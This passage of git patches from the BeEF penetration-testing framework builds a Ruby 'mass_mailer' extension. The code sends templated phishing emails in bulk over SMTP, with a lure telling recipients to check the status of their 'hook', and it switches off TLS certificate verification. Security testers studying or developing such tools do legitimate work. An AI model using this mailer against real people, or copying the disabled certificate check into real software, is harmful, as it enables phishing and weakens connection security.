random_string(50) + boundary = "------------#{random_string(24)}" + rel_boundary = "------------#{random_string(24)}" + plain_text = "Hi #{name},\nPlease be sure to check this link:\n" + + @file_path = '/Users/morru/WORKS/BeEF/beef-44Con-code/extensions/social_engineering/mass_mailer/templates/default/' + file = 'beef_logo.png' + + header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) + plain_body = email_plain_body(plain_text,boundary) + rel_header = email_related(rel_boundary) + html_body = email_html_body(rel_boundary, file, plain_text) + image = email_add_image(file,rel_boundary) + close = email_close(boundary) + + message = header + plain_body + rel_header + html_body + image + close + print_debug "Raw Email content:\n #{message}" + message + end + + def email_headers(from, user_agent, to, name, subject, msg_id, boundary) + headers = < +Subject: #{subject} +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary=#{boundary} + +This is a multi-part message in MIME format. +--#{boundary} +EOF + headers + end + + def email_plain_body(plain_text, boundary) + plain_body = < + +#{plain_body}
+
+ #{file}
+
+Thanks + + +--#{rel_boundary} +EOF + html_body + end + + def email_add_image(file, rel_boundary) + file_encoded = [File.read(@file_path + file)].pack("m") # base64 + image = < +Content-Disposition: inline; + filename="#{file}" + +#{file_encoded} +--#{rel_boundary} +EOF + image + end + + def email_close(boundary) + close = < Date: Mon, 27 Aug 2012 16:10:40 +0100 Subject: [PATCH 109/225] Social Eng. extension: added configurable email templates --- extensions/social_engineering/config.yaml | 11 ++- .../mass_mailer/mass_mailer.rb | 92 +++++++++++------- .../templates/default/beef_logo.png | Bin 0 -> 13283 bytes .../mass_mailer/templates/default/mail.html | 19 ++++ .../mass_mailer/templates/default/mail.plain | 8 ++ 5 files changed, 94 insertions(+), 36 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/default/beef_logo.png create mode 100644 extensions/social_engineering/mass_mailer/templates/default/mail.html create mode 100644 extensions/social_engineering/mass_mailer/templates/default/mail.plain diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 98e2852d6..d5b3444b2 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -28,5 +28,14 @@ beef: port: 587 use_tls: true helo: "gmail.com" # this is usually the domain name - from: "yourmail@gmail.com" + from: "yourpass@gmail.com" password: "yourpass" + # available templates + templates: + default: + # images are by default inline, so if you want to attach something, see below + images: ["beef_logo.png"]#,"second_image.png"] + images_cids: + cid1: "beef_logo.png" + #cid2: "second_image.png" + attachment: [""] diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 11c0e3aae..66a965f4f 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -23,22 +23,23 @@ module BeEF def initialize @config = BeEF::Core::Configuration.instance - @user_agent = @config.get('beef.extension.social_engineering.mass_mailer.user_agent') - @host = @config.get('beef.extension.social_engineering.mass_mailer.host') - @port = @config.get('beef.extension.social_engineering.mass_mailer.port') - @helo = @config.get('beef.extension.social_engineering.mass_mailer.helo') - @from = @config.get('beef.extension.social_engineering.mass_mailer.from') - @password = @config.get('beef.extension.social_engineering.mass_mailer.password') + @config_prefix = "beef.extension.social_engineering.mass_mailer" + @templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/" - @subject = "Hi from BeEF" + @user_agent = @config.get("#{@config_prefix}.user_agent") + @host = @config.get("#{@config_prefix}.host") + @port = @config.get("#{@config_prefix}.port") + @helo = @config.get("#{@config_prefix}.helo") + @from = @config.get("#{@config_prefix}.from") + @password = @config.get("#{@config_prefix}.password") end # tos_hash is an Hash like: # 'antisnatchor@gmail.com' => 'Michele' # 'ciccio@pasticcio.com' => 'Ciccio' - def send_email(tos_hash) + def send_email(template, subject, tos_hash) # create new SSL context and disable CA chain validation - if @config.get('beef.extension.social_engineering.mass_mailer.use_tls') + if @config.get("#{@config_prefix}.use_tls") @ctx = OpenSSL::SSL::SSLContext.new @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway @ctx.ssl_version = "TLSv1" @@ -46,10 +47,10 @@ module BeEF # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) - smtp.enable_starttls(@ctx) unless @config.get('beef.extension.social_engineering.mass_mailer.use_tls') == false + smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false smtp.start(@helo, @from, @password, :login) do |smtp| tos_hash.each do |mail, name| - message = compose_email(mail, name, @subject) + message = compose_email(mail, name, subject, template) smtp.send_message(message, @from, mail) end end @@ -58,23 +59,27 @@ module BeEF #todo sending to hostmonster the email is probably flagged as spam: # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(to, name, subject) + def compose_email(to, name, subject, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - plain_text = "Hi #{name},\nPlease be sure to check this link:\n" - @file_path = '/Users/morru/WORKS/BeEF/beef-44Con-code/extensions/social_engineering/mass_mailer/templates/default/' - file = 'beef_logo.png' + link = "http://127.0.0.1:3000/demos/basic.html" + linktext = "http://antisnatchor.com" header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) - plain_body = email_plain_body(plain_text,boundary) + plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(rel_boundary, file, plain_text) - image = email_add_image(file,rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),rel_boundary) + + images = "" + @config.get("#{@config_prefix}.templates.default.images").each do |image| + images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) + end + close = email_close(boundary) - message = header + plain_body + rel_header + html_body + image + close + message = header + plain_body + rel_header + html_body + images + close print_debug "Raw Email content:\n #{message}" message end @@ -119,35 +124,27 @@ EOF related end - def email_html_body(rel_boundary, file, plain_body) + def email_html_body(html_body, rel_boundary) html_body = < - -#{plain_body}
-
- #{file}
-
-Thanks - - +#{html_body} --#{rel_boundary} EOF html_body end - def email_add_image(file, rel_boundary) - file_encoded = [File.read(@file_path + file)].pack("m") # base64 + def email_add_image(name, path, rel_boundary) + file_encoded = [File.read(path)].pack("m") # base64 encoded + #todo: content-type must be determined at least from file extension, not hardcoded image = < +Content-ID: <#{name}> Content-Disposition: inline; - filename="#{file}" + filename="#{name}" #{file_encoded} --#{rel_boundary} @@ -162,6 +159,31 @@ EOF close end + # Replaces placeholder values from the plain/html email templates + def parse_template(name, link, linktext, template_path) + result = "" + img_config = "#{@config_prefix}.templates.default.images_cids" + img_count = 0 + File.open(template_path, 'r').each do |line| + # change the Recipient name + if line.include?("__name__") + result += line.gsub("__name__",name) + # change the link/linktext + elsif line.include?("__link__") + result += line.gsub("__link__",link).gsub("__linktext__",linktext) + # change images cid/name/alt + elsif line.include?("src=\"cid:__") + img_count += 1 + result += line.gsub("__cid#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")) + else + result += line + end + end + result + end + def random_string(length) output = (0..length).map{ rand(36).to_s(36).upcase }.join output diff --git a/extensions/social_engineering/mass_mailer/templates/default/beef_logo.png b/extensions/social_engineering/mass_mailer/templates/default/beef_logo.png new file mode 100644 index 0000000000000000000000000000000000000000..24a718216bf0ce32eb57afe5514dd0dfad728f07 GIT binary patch literal 13283 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 + + + + +Hi __name __,
+
+We would like to inform you that your BeEF order has been successful.
+You can check the status of your hook at the following link:
+ +__linktext__
+
+Regards,
+The BeEF team
+ +__img1__
+ + + \ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.plain b/extensions/social_engineering/mass_mailer/templates/default/mail.plain new file mode 100644 index 000000000..4b57cf16d --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.plain @@ -0,0 +1,8 @@ +Hi __name__, + +We would like to inform you that your BeEF order has been successful. +You can check the status of your hook at the following link: +__link__ + +Regards, +The BeEF team \ No newline at end of file From ffbd3d65b9b7338afd000dc2972f06c14625d1e7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 21:30:09 +0100 Subject: [PATCH 110/225] Social Eng. extension: various fixes, link/linktext/fromname configurable, adjusted various email headers --- extensions/social_engineering/config.yaml | 2 +- .../mass_mailer/mass_mailer.rb | 33 +++++++++++-------- .../mass_mailer/templates/default/mail.html | 6 ++-- 3 files changed, 24 insertions(+), 17 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index d5b3444b2..ad4c5d529 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -28,7 +28,7 @@ beef: port: 587 use_tls: true helo: "gmail.com" # this is usually the domain name - from: "yourpass@gmail.com" + from: "yourmail@gmail.com" password: "yourpass" # available templates templates: diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 66a965f4f..0a25d4db9 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -37,7 +37,7 @@ module BeEF # tos_hash is an Hash like: # 'antisnatchor@gmail.com' => 'Michele' # 'ciccio@pasticcio.com' => 'Ciccio' - def send_email(template, subject, tos_hash) + def send_email(template, fromname, subject, link, linktext, tos_hash) # create new SSL context and disable CA chain validation if @config.get("#{@config_prefix}.use_tls") @ctx = OpenSSL::SSL::SSLContext.new @@ -45,13 +45,19 @@ module BeEF @ctx.ssl_version = "TLSv1" end + n = tos_hash.size + x = 1 + print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:\nsubject: #{subject}\nlink: #{link}\nlinktext: #{linktext}" + # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false smtp.start(@helo, @from, @password, :login) do |smtp| tos_hash.each do |mail, name| - message = compose_email(mail, name, subject, template) + message = compose_email(fromname, mail, name, subject, link, linktext, template) smtp.send_message(message, @from, mail) + print_info "Mail #{x}/#{n} to [#{mail}] sent." + x += 1 end end end @@ -59,18 +65,15 @@ module BeEF #todo sending to hostmonster the email is probably flagged as spam: # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(to, name, subject, template) + def compose_email(fromname, to, name, subject, link, linktext, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - link = "http://127.0.0.1:3000/demos/basic.html" - linktext = 